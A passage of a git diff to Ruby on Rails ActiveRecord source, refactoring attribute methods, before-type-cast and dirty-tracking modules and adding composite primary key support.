-      # Subsequent calls to this method with the same value for +decorator_name+
-      # will replace the previous decorator, not decorate twice. This can be
-      # used to ensure that class macros are idempotent.
-      def decorate_matching_attribute_types(matcher, decorator_name, &block)
-        reload_schema_from_cache
-        decorator_name = decorator_name.to_s
-
-        # Create new hashes so we don't modify parent classes
-        self.attribute_type_decorations = attribute_type_decorations.merge(decorator_name => [matcher, block])
-      end
-
-      private
-
-        def load_schema!
-          super
-          attribute_types.each do |name, type|
-            decorated_type = attribute_type_decorations.apply(name, type)
-            define_attribute(name, decorated_type)
-          end
-        end
-    end
-
-    class TypeDecorator # :nodoc:
-      delegate :clear, to: :@decorations
-
-      def initialize(decorations = {})
-        @decorations = decorations
-      end
-
-      def merge(*args)
-        TypeDecorator.new(@decorations.merge(*args))
-      end
-
-      def apply(name, type)
-        decorations = decorators_for(name, type)
-        decorations.inject(type) do |new_type, block|
-          block.call(new_type)
-        end
-      end
-
-      private
-
-        def decorators_for(name, type)
-          matching(name, type).map(&:last)
-        end
-
-        def matching(name, type)
-          @decorations.values.select do |(matcher, _)|
-            matcher.call(name, type)
-          end
-        end
-    end
-  end
-end
diff --git a/activerecord/lib/active_record/attribute_methods.rb b/activerecord/lib/active_record/attribute_methods.rb
index ebe06566cc016..32891dc2a60da 100644
--- a/activerecord/lib/active_record/attribute_methods.rb
+++ b/activerecord/lib/active_record/attribute_methods.rb
@@ -1,7 +1,6 @@
+# frozen_string_literal: true
+
 require "active_support/core_ext/enumerable"
-require "active_support/core_ext/string/filters"
-require "mutex_m"
-require "concurrent/map"
 
 module ActiveRecord
   # = Active Record Attribute Methods
@@ -19,56 +18,133 @@ module AttributeMethods
       include TimeZoneConversion
       include Dirty
       include Serialization
-
-      delegate :column_for_attribute, to: :class
     end
 
-    AttrNames = Module.new {
-      def self.set_name_cache(name, value)
-        const_name = "ATTR_#{name}"
-        unless const_defined? const_name
-          const_set const_name, value.dup.freeze
-        end
-      end
-    }
-
-    BLACKLISTED_CLASS_METHODS = %w(private public protected allocate new name parent superclass)
+    RESTRICTED_CLASS_METHODS = %w(private public protected allocate new name superclass)
 
-    class GeneratedAttributeMethods < Module; end # :nodoc:
+    class GeneratedAttributeMethods < Module # :nodoc:
+      LOCK = Monitor.new
+    end
 
-    module ClassMethods
-      def inherited(child_class) #:nodoc:
-        child_class.initialize_generated_modules
-        super
+    class << self
+      def dangerous_attribute_methods # :nodoc:
+        @dangerous_attribute_methods ||= (
+          Base.instance_methods +
+          Base.private_instance_methods -
+          Base.superclass.instance_methods -
+          Base.superclass.private_instance_methods +
+          %i[__id__ dup freeze frozen? hash class clone]
+        ).map { |m| -m.to_s }.to_set.freeze
       end
+    end
 
+    module ClassMethods
       def initialize_generated_modules # :nodoc:
-        @generated_attribute_methods = GeneratedAttributeMethods.new { extend Mutex_m }
+        @generated_attribute_methods = const_set(:GeneratedAttributeMethods, GeneratedAttributeMethods.new)
+        private_constant :GeneratedAttributeMethods
         @attribute_methods_generated = false
+        @alias_attributes_mass_generated = false
         include @generated_attribute_methods
 
         super
       end
 
+      # Allows you to make aliases for attributes.
+      #
+      #   class Person < ActiveRecord::Base
+      #     alias_attribute :nickname, :name
+      #   end
+      #
+      #   person = Person.create(name: 'Bob')
+      #   person.name     # => "Bob"
+      #   person.nickname # => "Bob"
+      #
+      # The alias can also be used for querying:
+      #
+      #   Person.where(nickname: "Bob")
+      #   # SELECT "people".* FROM "people" WHERE "people"."name" = "Bob"
+      def alias_attribute(new_name, old_name)
+        super
+
+        if @alias_attributes_mass_generated
+          ActiveSupport::CodeGenerator.batch(generated_attribute_methods, __FILE__, __LINE__) do |code_generator|
+            generate_alias_attribute_methods(code_generator, new_name, old_name)
+          end
+        end
+      end
+
+      def eagerly_generate_alias_attribute_methods(_new_name, _old_name) # :nodoc:
+        # alias attributes in Active Record are lazily generated
+      end
+
+      def generate_alias_attribute_methods(code_generator, new_name, old_name) # :nodoc:
+        attribute_method_patterns.each do |pattern|
+          alias_attribute_method_definition(code_generator, pattern, new_name, old_name)
+        end
+        attribute_method_patterns_cache.clear
+      end
+
+      def alias_attribute_method_definition(code_generator, pattern, new_name, old_name) # :nodoc:
+        old_name = old_name.to_s
+
+        if !abstract_class? && !has_attribute?(old_name)
+          raise ArgumentError, "#{self.name} model aliases `#{old_name}`, but `#{old_name}` is not an attribute. " \
+            "Use `alias_method :#{new_name}, :#{old_name}` or define the method manually."
+        else
+          define_attribute_method_pattern(pattern, old_name, owner: code_generator, as: new_name, override: true)
+        end
+      end
+
+      def attribute_methods_generated? # :nodoc:
+        @attribute_methods_generated
+      end
+
       # Generates all the attribute related methods for columns in the database
       # accessors, mutators and query methods.
       def define_attribute_methods # :nodoc:
         return false if @attribute_methods_generated
         # Use a mutex; we don't want two threads simultaneously trying to define
         # attribute methods.
-        generated_attribute_methods.synchronize do
+        GeneratedAttributeMethods::LOCK.synchronize do
           return false if @attribute_methods_generated
-          superclass.define_attribute_methods unless self == base_class
-          super(attribute_names)
+
+          superclass.define_attribute_methods unless base_class?
+
+          unless abstract_class?
+            load_schema
+            super(attribute_names)
+            alias_attribute :id_value, :id if _has_attribute?("id") && !_has_attribute?("id_value")
+          end
+
+          generate_alias_attributes
+
           @attribute_methods_generated = true
         end
+
         true
       end
 
+      def generate_alias_attributes # :nodoc:
+        superclass.generate_alias_attributes unless superclass == Base
+
+        return if @alias_attributes_mass_generated
+
+        ActiveSupport::CodeGenerator.batch(generated_attribute_methods, __FILE__, __LINE__) do |code_generator|
+          aliases_by_attribute_name.each do |old_name, new_names|
+            new_names.each do |new_name|
+              generate_alias_attribute_methods(code_generator, new_name, old_name)
+            end
+          end
+        end
+
+        @alias_attributes_mass_generated = true
+      end
+
       def undefine_attribute_methods # :nodoc:
-        generated_attribute_methods.synchronize do
-          super if defined?(@attribute_methods_generated) && @attribute_methods_generated
+        GeneratedAttributeMethods::LOCK.synchronize do
+          super if @attribute_methods_generated
           @attribute_methods_generated = false
+          @alias_attributes_mass_generated = false
         end
       end
 
@@ -95,7 +171,7 @@ def instance_method_already_implemented?(method_name)
           super
         else
           # If ThisClass < ... < SomeSuperClass < ... < Base and SomeSuperClass
-          # defines its own attribute method, then we don't want to overwrite that.
+          # defines its own attribute method, then we don't want to override that.
           defined = method_defined_within?(method_name, superclass, Base) &&
             ! superclass.instance_method(method_name).owner.is_a?(GeneratedAttributeMethods)
           defined || super
@@ -105,7 +181,7 @@ def instance_method_already_implemented?(method_name)
       # A method name is 'dangerous' if it is already (re)defined by Active Record, but
       # not by any ancestors. (So 'puts' is not dangerous but 'save' is.)
       def dangerous_attribute_method?(name) # :nodoc:
-        method_defined_within?(name, Base)
+        ::ActiveRecord::AttributeMethods.dangerous_attribute_methods.include?(name.to_s)
       end
 
       def method_defined_within?(name, klass, superklass = klass.superclass) # :nodoc:
@@ -123,13 +199,11 @@ def method_defined_within?(name, klass, superklass = klass.superclass) # :nodoc:
       # A class method is 'dangerous' if it is already (re)defined by Active Record, but
       # not by any ancestors. (So 'puts' is not dangerous but 'new' is.)
       def dangerous_class_method?(method_name)
-        BLACKLISTED_CLASS_METHODS.include?(method_name.to_s) || class_method_defined_within?(method_name, Base)
-      end
+        return true if RESTRICTED_CLASS_METHODS.include?(method_name.to_s)
 
-      def class_method_defined_within?(name, klass, superklass = klass.superclass) # :nodoc:
-        if klass.respond_to?(name, true)
-          if superklass.respond_to?(name, true)
-            klass.method(name).owner != superklass.method(name).owner
+        if Base.respond_to?(method_name, true)
+          if Object.respond_to?(method_name, true)
+            Base.method(method_name).owner != Object.method(method_name).owner
           else
             true
           end
@@ -148,7 +222,7 @@ def class_method_defined_within?(name, klass, superklass = klass.superclass) # :
       #   Person.attribute_method?(:age=)    # => true
       #   Person.attribute_method?(:nothing) # => false
       def attribute_method?(attribute)
-        super || (table_exists? && column_names.include?(attribute.to_s.sub(/=$/, "")))
+        super || (table_exists? && column_names.include?(attribute.to_s.delete_suffix("=")))
       end
 
       # Returns an array of column names as strings if it's not an abstract class and
@@ -164,40 +238,38 @@ def attribute_names
           attribute_types.keys
         else
           []
-        end
+        end.freeze
       end
 
       # Returns true if the given attribute exists, otherwise false.
       #
       #   class Person < ActiveRecord::Base
+      #     alias_attribute :new_name, :name
       #   end
       #
-      #   Person.has_attribute?('name')   # => true
-      #   Person.has_attribute?(:age)     # => true
-      #   Person.has_attribute?(:nothing) # => false
+      #   Person.has_attribute?('name')     # => true
+      #   Person.has_attribute?('new_name') # => true
+      #   Person.has_attribute?(:age)       # => true
+      #   Person.has_attribute?(:nothing)   # => false
       def has_attribute?(attr_name)
-        attribute_types.key?(attr_name.to_s)
+        attr_name = attr_name.to_s
+        attr_name = attribute_aliases[attr_name] || attr_name
+        attribute_types.key?(attr_name)
       end
 
-      # Returns the column object for the named attribute.
-      # Returns a +ActiveRecord::ConnectionAdapters::NullColumn+ if the
-      # named attribute does not exist.
-      #
-      #   class Person < ActiveRecord::Base
-      #   end
-      #
-      #   person = Person.new
-      #   person.column_for_attribute(:name) # the result depends on the ConnectionAdapter
-      #   # => #<ActiveRecord::ConnectionAdapters::Column:0x007ff4ab083980 @name="name", @sql_type="varchar(255)", @null=true, ...>
-      #
-      #   person.column_for_attribute(:nothing)
-      #   # => #<ActiveRecord::ConnectionAdapters::NullColumn:0xXXX @name=nil, @sql_type=nil, @cast_type=#<Type::Value>, ...>
-      def column_for_attribute(name)
-        name = name.to_s
-        columns_hash.fetch(name) do
-          ConnectionAdapters::NullColumn.new(name)
-        end
+      def _has_attribute?(attr_name) # :nodoc:
+        attribute_types.key?(attr_name)
       end
+
+      private
+        def inherited(child_class)
+          super
+          child_class.initialize_generated_modules
+          child_class.class_eval do
+            @alias_attributes_mass_generated = false
+            @attribute_names = nil
+          end
+        end
     end
 
     # A Person object with a name attribute can ask <tt>person.respond_to?(:name)</tt>,
@@ -219,37 +291,36 @@ def column_for_attribute(name)
     def respond_to?(name, include_private = false)
       return false unless super
 
-      case name
-      when :to_partial_path
-        name = "to_partial_path".freeze
-      when :to_model
-        name = "to_model".freeze
-      else
-        name = name.to_s
-      end
-
       # If the result is true then check for the select case.
       # For queries selecting a subset of columns, return false for unselected columns.
-      # We check defined?(@attributes) not to issue warnings if called on objects that
-      # have been allocated but not yet initialized.
-      if defined?(@attributes) && self.class.column_names.include?(name)
-        return has_attribute?(name)
+      if @attributes
+        if name = self.class.symbol_column_to_string(name.to_sym)
+          return _has_attribute?(name)
+        end
       end
 
-      return true
+      true
     end
 
     # Returns +true+ if the given attribute is in the attributes hash, otherwise +false+.
     #
     #   class Person < ActiveRecord::Base
+    #     alias_attribute :new_name, :name
     #   end
     #
     #   person = Person.new
-    #   person.has_attribute?(:name)    # => true
-    #   person.has_attribute?('age')    # => true
-    #   person.has_attribute?(:nothing) # => false
+    #   person.has_attribute?(:name)     # => true
+    #   person.has_attribute?(:new_name) # => true
+    #   person.has_attribute?('age')     # => true
+    #   person.has_attribute?(:nothing)  # => false
     def has_attribute?(attr_name)
-      @attributes.key?(attr_name.to_s)
+      attr_name = attr_name.to_s
+      attr_name = self.class.attribute_aliases[attr_name] || attr_name
+      @attributes.key?(attr_name)
+    end
+
+    def _has_attribute?(attr_name) # :nodoc:
+      @attributes.key?(attr_name)
     end
 
     # Returns an array of names for the attributes available on this object.
@@ -278,9 +349,8 @@ def attributes
 
     # Returns an <tt>#inspect</tt>-like string for the value of the
     # attribute +attr_name+. String attributes are truncated up to 50
-    # characters, Date and Time attributes are returned in the
-    # <tt>:db</tt> format. Other attributes return the value of
-    # <tt>#inspect</tt> without modification.
+    # characters. Other attributes return the value of <tt>#inspect</tt>
+    # without modification.
     #
     #   person = Person.create!(name: 'David Heinemeier Hansson ' * 3)
     #
@@ -288,20 +358,15 @@ def attributes
     #   # => "\"David Heinemeier Hansson David Heinemeier Hansson ...\""
     #
     #   person.attribute_for_inspect(:created_at)
-    #   # => "\"2012-10-22 00:15:07\""
+    #   # => "\"2012-10-22 00:15:07.000000000 +0000\""
     #
     #   person.attribute_for_inspect(:tag_ids)
     #   # => "[1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11]"
     def attribute_for_inspect(attr_name)
-      value = read_attribute(attr_name)
-
-      if value.is_a?(String) && value.length > 50
-        "#{value[0, 50]}...".inspect
-      elsif value.is_a?(Date) || value.is_a?(Time)
-        %("#{value.to_s(:db)}")
-      else
-        value.inspect
-      end
+      attr_name = attr_name.to_s
+      attr_name = self.class.attribute_aliases[attr_name] || attr_name
+      value = _read_attribute(attr_name)
+      format_for_inspect(attr_name, value)
     end
 
     # Returns +true+ if the specified +attribute+ has been set by the user or by a
@@ -319,42 +384,47 @@ def attribute_for_inspect(attr_name)
     #   task.is_done = true
     #   task.attribute_present?(:title)   # => true
     #   task.attribute_present?(:is_done) # => true
-    def attribute_present?(attribute)
-      value = _read_attribute(attribute)
+    def attribute_present?(attr_name)
+      attr_name = attr_name.to_s
+      attr_name = self.class.attribute_aliases[attr_name] || attr_name
+      value = _read_attribute(attr_name)
       !value.nil? && !(value.respond_to?(:empty?) && value.empty?)
     end
 
-    # Returns the value of the attribute identified by <tt>attr_name</tt> after it has been typecast (for example,
-    # "2004-12-12" in a date column is cast to a date object, like Date.new(2004, 12, 12)). It raises
-    # <tt>ActiveModel::MissingAttributeError</tt> if the identified attribute is missing.
-    #
-    # Note: +:id+ is always present.
+    # Returns the value of the attribute identified by +attr_name+ after it has
+    # been type cast. (For information about specific type casting behavior, see
+    # the types under ActiveModel::Type.)
     #
     #   class Person < ActiveRecord::Base
     #     belongs_to :organization
     #   end
     #
-    #   person = Person.new(name: 'Francesco', age: '22')
-    #   person[:name] # => "Francesco"
-    #   person[:age]  # => 22
+    #   person = Person.new(name: "Francesco", date_of_birth: "2004-12-12")
+    #   person[:name]            # => "Francesco"
+    #   person[:date_of_birth]   # => Date.new(2004, 12, 12)
+    #   person[:organization_id] # => nil
+    #
+    # Raises ActiveModel::MissingAttributeError if the attribute is missing.
+    # Note, however, that the +id+ attribute will never be considered missing.
     #
-    #   person = Person.select('id').first
-    #   person[:name]            # => ActiveModel::MissingAttributeError: missing attribute: name
-    #   person[:organization_id] # => ActiveModel::MissingAttributeError: missing attribute: organization_id
+    #   person = Person.select(:name).first
+    #   person[:name]            # => "Francesco"
+    #   person[:date_of_birth]   # => ActiveModel::MissingAttributeError: missing attribute 'date_of_birth' for Person
+    #   person[:organization_id] # => ActiveModel::MissingAttributeError: missing attribute 'organization_id' for Person
+    #   person[:id]              # => nil
     def [](attr_name)
       read_attribute(attr_name) { |n| missing_attribute(n, caller) }
     end
 
-    # Updates the attribute identified by <tt>attr_name</tt> with the specified +value+.
-    # (Alias for the protected #write_attribute method).
+    # Updates the attribute identified by +attr_name+ using the specified
+    # +value+. The attribute value will be type cast upon being read.
     #
     #   class Person < ActiveRecord::Base
     #   end
     #
     #   person = Person.new
-    #   person[:age] = '22'
-    #   person[:age] # => 22
-    #   person[:age].class # => Integer
+    #   person[:date_of_birth] = "2004-12-12"
+    #   person[:date_of_birth] # => Date.new(2004, 12, 12)
     def []=(attr_name, value)
       write_attribute(attr_name, value)
     end
@@ -375,10 +445,9 @@ def []=(attr_name, value)
     #     end
     #
     #     private
-    #
-    #     def print_accessed_fields
-    #       p @posts.first.accessed_fields
-    #     end
+    #       def print_accessed_fields
+    #         p @posts.first.accessed_fields
+    #       end
     #   end
     #
     # Which allows you to quickly change your code to:
@@ -392,60 +461,87 @@ def accessed_fields
       @attributes.accessed
     end
 
-    protected
+    private
+      def respond_to_missing?(name, include_private = false)
+        if self.class.define_attribute_methods
+          # Some methods weren't defined yet.
+          return true if self.class.method_defined?(name)
+          return true if include_private && self.class.private_method_defined?(name)
+        end
 
-      def attribute_method?(attr_name) # :nodoc:
-        # We check defined? because Syck calls respond_to? before actually calling initialize.
-        defined?(@attributes) && @attributes.key?(attr_name)
+        super
       end
 
-    private
+      def method_missing(name, ...)
+        # We can't know whether some method was defined or not because
+        # multiple thread might be concurrently be in this code path.
+        # So the first one would define the methods and the others would
+        # appear to already have them.
+        self.class.define_attribute_methods
+
+        # So in all cases we must behave as if the method was just defined.
+        method = begin
+          self.class.public_instance_method(name)
+        rescue NameError
+          nil
+        end
 
-      def arel_attributes_with_values_for_create(attribute_names)
-        arel_attributes_with_values(attributes_for_create(attribute_names))
+        # The method might be explicitly defined in the model, but call a generated
+        # method with super. So we must resume the call chain at the right step.
+        method = method.super_method while method && !method.owner.is_a?(GeneratedAttributeMethods)
+        if method
+          method.bind_call(self, ...)
+        else
+          super
+        end
       end
 
-      def arel_attributes_with_values_for_update(attribute_names)
-        arel_attributes_with_values(attributes_for_update(attribute_names))
+      def attribute_method?(attr_name)
+        @attributes&.key?(attr_name)
       end
 
-      # Returns a Hash of the Arel::Attributes and attribute values that have been
-      # typecasted for use in an Arel insert/update method.
-      def arel_attributes_with_values(attribute_names)
-        attrs = {}
-        arel_table = self.class.arel_table
-
-        attribute_names.each do |name|
-          attrs[arel_table[name]] = typecasted_attribute_value(name)
-        end
-        attrs
+      def attributes_with_values(attribute_names)
+        attribute_names.index_with { |name| @attributes[name] }
       end
 
-      # Filters the primary keys and readonly attributes from the attribute names.
+      # Filters the primary keys, readonly attributes and virtual columns from the attribute names.
       def attributes_for_update(attribute_names)
-        attribute_names.reject do |name|
-          readonly_attribute?(name)
+        attribute_names &= self.class.column_names
+        attribute_names.delete_if do |name|
+          self.class.readonly_attribute?(name) ||
+            self.class.counter_cache_column?(name) ||
+            column_for_attribute(name).virtual?
         end
       end
 
-      # Filters out the primary keys, from the attribute names, when the primary
+      # Filters out the virtual columns and also primary keys, from the attribute names, when the primary
       # key is to be generated (e.g. the id attribute has no value).
       def attributes_for_create(attribute_names)
-        attribute_names.reject do |name|
-          pk_attribute?(name) && id.nil?
+        attribute_names &= self.class.column_names
+        attribute_names.delete_if do |name|
+          (pk_attribute?(name) && id.nil?) ||
+            column_for_attribute(name).virtual?
         end
       end
 
-      def readonly_attribute?(name)
-        self.class.readonly_attributes.include?(name)
-      end
+      def format_for_inspect(name, value)
+        if value.nil?
+          value.inspect
+        else
+          inspected_value = if value.is_a?(String) && value.length > 50
+            "#{value[0, 50]}...".inspect
+          elsif value.is_a?(Date) || value.is_a?(Time)
+            %("#{value.to_fs(:inspect)}")
+          else
+            value.inspect
+          end
 
-      def pk_attribute?(name)
-        name == self.class.primary_key
+          inspection_filter.filter_param(name, inspected_value)
+        end
       end
 
-      def typecasted_attribute_value(name)
-        _read_attribute(name)
+      def pk_attribute?(name)
+        name == @primary_key
       end
   end
 end
diff --git a/activerecord/lib/active_record/attribute_methods/before_type_cast.rb b/activerecord/lib/active_record/attribute_methods/before_type_cast.rb
index 115eb1ef3f68f..3284149350f48 100644
--- a/activerecord/lib/active_record/attribute_methods/before_type_cast.rb
+++ b/activerecord/lib/active_record/attribute_methods/before_type_cast.rb
@@ -1,3 +1,5 @@
+# frozen_string_literal: true
+
 module ActiveRecord
   module AttributeMethods
     # = Active Record Attribute Methods Before Type Cast
@@ -27,8 +29,8 @@ module BeforeTypeCast
       extend ActiveSupport::Concern
 
       included do
-        attribute_method_suffix "_before_type_cast"
-        attribute_method_suffix "_came_from_user?"
+        attribute_method_suffix "_before_type_cast", "_for_database", parameters: false
+        attribute_method_suffix "_came_from_user?", parameters: false
       end
 
       # Returns the value of the attribute identified by +attr_name+ before
@@ -44,7 +46,27 @@ module BeforeTypeCast
       #   task.read_attribute_before_type_cast('completed_on') # => "2012-10-21"
       #   task.read_attribute_before_type_cast(:completed_on)  # => "2012-10-21"
       def read_attribute_before_type_cast(attr_name)
-        @attributes[attr_name.to_s].value_before_type_cast
+        name = attr_name.to_s
+        name = self.class.attribute_aliases[name] || name
+
+        attribute_before_type_cast(name)
+      end
+
+      # Returns the value of the attribute identified by +attr_name+ after
+      # serialization.
+      #
+      #   class Book < ActiveRecord::Base
+      #     enum :status, { draft: 1, published: 2 }
+      #   end
+      #
+      #   book = Book.new(status: "published")
+      #   book.read_attribute(:status)              # => "published"
+      #   book.read_attribute_for_database(:status) # => 2
+      def read_attribute_for_database(attr_name)
+        name = attr_name.to_s
+        name = self.class.attribute_aliases[name] || name
+
+        attribute_for_database(name)
       end
 
       # Returns a hash of attributes before typecasting and deserialization.
@@ -61,15 +83,23 @@ def attributes_before_type_cast
         @attributes.values_before_type_cast
       end
 
+      # Returns a hash of attributes for assignment to the database.
+      def attributes_for_database
+        @attributes.values_for_database
+      end
+
       private
+        # Dispatch target for <tt>*_before_type_cast</tt> attribute methods.
+        def attribute_before_type_cast(attr_name)
+          @attributes[attr_name].value_before_type_cast
+        end
 
-        # Handle *_before_type_cast for method_missing.
-        def attribute_before_type_cast(attribute_name)
-          read_attribute_before_type_cast(attribute_name)
+        def attribute_for_database(attr_name)
+          @attributes[attr_name].value_for_database
         end
 
-        def attribute_came_from_user?(attribute_name)
-          @attributes[attribute_name].came_from_user?
+        def attribute_came_from_user?(attr_name)
+          @attributes[attr_name].came_from_user?
         end
     end
   end
diff --git a/activerecord/lib/active_record/attribute_methods/composite_primary_key.rb b/activerecord/lib/active_record/attribute_methods/composite_primary_key.rb
new file mode 100644
index 0000000000000..1c608ae2bff1b
--- /dev/null
+++ b/activerecord/lib/active_record/attribute_methods/composite_primary_key.rb
@@ -0,0 +1,84 @@
+# frozen_string_literal: true
+
+module ActiveRecord
+  module AttributeMethods
+    module CompositePrimaryKey # :nodoc:
+      # Returns the primary key column's value. If the primary key is composite,
+      # returns an array of the primary key column values.
+      def id
+        if self.class.composite_primary_key?
+          @primary_key.map { |pk| _read_attribute(pk) }
+        else
+          super
+        end
+      end
+
+      def primary_key_values_present? # :nodoc:
+        if self.class.composite_primary_key?
+          id.all?
+        else
+          super
+        end
+      end
+
+      # Sets the primary key column's value. If the primary key is composite,
+      # raises TypeError when the set value not enumerable.
+      def id=(value)
+        if self.class.composite_primary_key?
+          raise TypeError, "Expected value matching #{self.class.primary_key.inspect}, got #{value.inspect}." unless value.is_a?(Enumerable)
+          @primary_key.zip(value) { |attr, value| _write_attribute(attr, value) }
+        else
+          super
+        end
+      end
+
+      # Queries the primary key column's value. If the primary key is composite,
+      # all primary key column values must be queryable.
+      def id?
+        if self.class.composite_primary_key?
+          @primary_key.all? { |col| _query_attribute(col) }
+        else
+          super
+        end
+      end
+
+      # Returns the primary key column's value before type cast. If the primary key is composite,
+      # returns an array of primary key column values before type cast.
+      def id_before_type_cast
+        if self.class.composite_primary_key?
+          @primary_key.map { |col| attribute_before_type_cast(col) }
+        else
+          super
+        end
+      end
+
+      # Returns the primary key column's previous value. If the primary key is composite,
+      # returns an array of primary key column previous values.
+      def id_was
+        if self.class.composite_primary_key?
+          @primary_key.map { |col| attribute_was(col) }
+        else
+          super
+        end
+      end
+
+      # Returns the primary key column's value from the database. If the primary key is composite,
+      # returns an array of primary key column values from database.
+      def id_in_database
+        if self.class.composite_primary_key?
+          @primary_key.map { |col| attribute_in_database(col) }
+        else
+          super
+        end
+      end
+
+      def id_for_database # :nodoc:
+        if self.class.composite_primary_key?
+          @primary_key.map { |col| @attributes[col].value_for_database }
+        else
+          super
+        end
+      end
+    end
+  end
+end
diff --git a/activerecord/lib/active_record/attribute_methods/dirty.rb b/activerecord/lib/active_record/attribute_methods/dirty.rb
index 31c1e687dc649..4d436a5275a2e 100644
--- a/activerecord/lib/active_record/attribute_methods/dirty.rb
+++ b/activerecord/lib/active_record/attribute_methods/dirty.rb
@@ -1,10 +1,42 @@
 # frozen_string_literal: true
+
 require "active_support/core_ext/module/attribute_accessors"
-require "active_record/attribute_mutation_tracker"
 
 module ActiveRecord
   module AttributeMethods
-    module Dirty # :nodoc:
+    # = Active Record Attribute Methods \Dirty
+    #
+    # Provides a way to track changes in your Active Record models. It adds all
+    # methods from ActiveModel::Dirty and adds database-specific methods.
+    #
+    # A newly created +Person+ object is unchanged:
+    #
+    #   class Person < ActiveRecord::Base
+    #   end
+    #
+    #   person = Person.create(name: "Allison")
+    #   person.changed? # => false
+    #
+    # Change the name:
+    #
+    #   person.name = 'Alice'
+    #   person.name_in_database          # => "Allison"
+    #   person.will_save_change_to_name? # => true
+    #   person.name_change_to_be_saved   # => ["Allison", "Alice"]
+    #   person.changes_to_save           # => {"name"=>["Allison", "Alice"]}
+    #
+    # Save the changes:
+    #
+    #   person.save
+    #   person.name_in_database        # => "Alice"
+    #   person.saved_change_to_name?   # => true
+    #   person.saved_change_to_name    # => ["Allison", "Alice"]
+    #   person.name_before_last_save   # => "Allison"
+    #
+    # Similar to ActiveModel::Dirty, methods can be invoked as
+    # +saved_change_to_name?+ or by passing an argument to the generic method
+    # <tt>saved_change_to_attribute?("name")</tt>.
+    module Dirty
       extend ActiveSupport::Concern
 
       include ActiveModel::Dirty
@@ -14,159 +46,70 @@ module Dirty # :nodoc:
           raise "You cannot include Dirty after Timestamp"
         end
 
-        class_attribute :partial_writes, instance_writer: false
-        self.partial_writes = true
-
-        after_create { changes_internally_applied }
-        after_update { changes_internally_applied }
+        class_attribute :partial_updates, instance_writer: false, default: true
+        class_attribute :partial_inserts, instance_writer: false, default: true
 
         # Attribute methods for "changed in last call to save?"
-        attribute_method_affix(prefix: "saved_change_to_", suffix: "?")
-        attribute_method_prefix("saved_change_to_")
-        attribute_method_suffix("_before_last_save")
+        attribute_method_affix(prefix: "saved_change_to_", suffix: "?", parameters: "**options")
+        attribute_method_prefix("saved_change_to_", parameters: false)
+        attribute_method_suffix("_before_last_save", parameters: false)
 
         # Attribute methods for "will change if I call save?"
-        attribute_method_affix(prefix: "will_save_change_to_", suffix: "?")
-        attribute_method_suffix("_change_to_be_saved", "_in_database")
-      end
-
-      # Attempts to +save+ the record and clears changed attributes if successful.
-      def save(*)
-        if status = super
-          changes_applied
-        end
-        status
-      end
-
-      # Attempts to <tt>save!</tt> the record and clears changed attributes if successful.
-      def save!(*)
-        super.tap do
-          changes_applied
-        end
+        attribute_method_affix(prefix: "will_save_change_to_", suffix: "?", parameters: "**options")
+        attribute_method_suffix("_change_to_be_saved", "_in_database", parameters: false)
       end
 
       # <tt>reload</tt> the record and clears changed attributes.
       def reload(*)
         super.tap do
-          @previous_mutation_tracker = nil
-          clear_mutation_trackers
-          @changed_attributes = HashWithIndifferentAccess.new
-        end
-      end
-
-      def initialize_dup(other) # :nodoc:
-        super
-        @attributes = self.class._default_attributes.map do |attr|
-          attr.with_value_from_user(@attributes.fetch_value(attr.name))
-        end
-        clear_mutation_trackers
-      end
-
-      def changes_internally_applied # :nodoc:
-        @mutations_before_last_save = mutation_tracker
-        forget_attribute_assignments
-        @mutations_from_database = AttributeMutationTracker.new(@attributes)
-      end
-
-      def changes_applied
-        @previous_mutation_tracker = mutation_tracker
-        @changed_attributes = HashWithIndifferentAccess.new
-        clear_mutation_trackers
-      end
-
-      def clear_changes_information
-        @previous_mutation_tracker = nil
-        @changed_attributes = HashWithIndifferentAccess.new
-        forget_attribute_assignments
-        clear_mutation_trackers
-      end
-
-      def raw_write_attribute(attr_name, *)
-        result = super
-        clear_attribute_change(attr_name)
-        result
-      end
-
-      def clear_attribute_changes(attr_names)
-        super
-        attr_names.each do |attr_name|
-          clear_attribute_change(attr_name)
-        end
-      end
-
-      def changed_attributes
-        # This should only be set by methods which will call changed_attributes
-        # multiple times when it is known that the computed value cannot change.
-        if defined?(@cached_changed_attributes)
-          @cached_changed_attributes
-        else
-          emit_warning_if_needed("changed_attributes", "saved_changes.transform_values(&:first)")
-          super.reverse_merge(mutation_tracker.changed_values).freeze
-        end
-      end
-
-      def changes
-        cache_changed_attributes do
-          emit_warning_if_needed("changes", "saved_changes")
-          super
-        end
-      end
-
-      def previous_changes
-        unless previous_mutation_tracker.equal?(mutations_before_last_save)
-          ActiveSupport::Deprecation.warn(<<-EOW.strip_heredoc)
-            The behavior of `previous_changes` inside of after callbacks is
-            deprecated without replacement. In the next release of Rails,
-            this method inside of `after_save` will return the changes that
-            were just saved.
-          EOW
+          @mutations_before_last_save = nil
+          @mutations_from_database = nil
         end
-        previous_mutation_tracker.changes
-      end
-
-      def attribute_changed_in_place?(attr_name)
-        mutation_tracker.changed_in_place?(attr_name)
       end
 
-      # Did this attribute change when we last saved? This method can be invoked
-      # as `saved_change_to_name?` instead of `saved_change_to_attribute?("name")`.
-      # Behaves similarly to +attribute_changed?+. This method is useful in
-      # after callbacks to determine if the call to save changed a certain
-      # attribute.
+      # Did this attribute change when we last saved?
+      #
+      # This method is useful in after callbacks to determine if an attribute
+      # was changed during the save that triggered the callbacks to run. It can
+      # be invoked as +saved_change_to_name?+ instead of
+      # <tt>saved_change_to_attribute?("name")</tt>.
       #
       # ==== Options
       #
-      # +from+ When passed, this method will return false unless the original
-      # value is equal to the given option
+      # [+from+]
+      #   When specified, this method will return false unless the original
+      #   value is equal to the given value.
       #
-      # +to+ When passed, this method will return false unless the value was
-      # changed to the given value
+      # [+to+]
+      #   When specified, this method will return false unless the value will be
+      #   changed to the given value.
       def saved_change_to_attribute?(attr_name, **options)
-        mutations_before_last_save.changed?(attr_name, **options)
+        mutations_before_last_save.changed?(attr_name.to_s, **options)
       end
 
       # Returns the change to an attribute during the last save. If the
       # attribute was changed, the result will be an array containing the
       # original value and the saved value.
       #
-      # Behaves similarly to +attribute_change+. This method is useful in after
-      # callbacks, to see the change in an attribute that just occurred
-      #
-      # This method can be invoked as `saved_change_to_name` in instead of
-      # `saved_change_to_attribute("name")`
+      # This method is useful in after callbacks, to see the change in an
+      # attribute during the save that triggered the callbacks to run. It can be
+      # invoked as +saved_change_to_name+ instead of
+      # <tt>saved_change_to_attribute("name")</tt>.
       def saved_change_to_attribute(attr_name)
-        mutations_before_last_save.change_to_attribute(attr_name)
+        mutations_before_last_save.change_to_attribute(attr_name.to_s)
       end
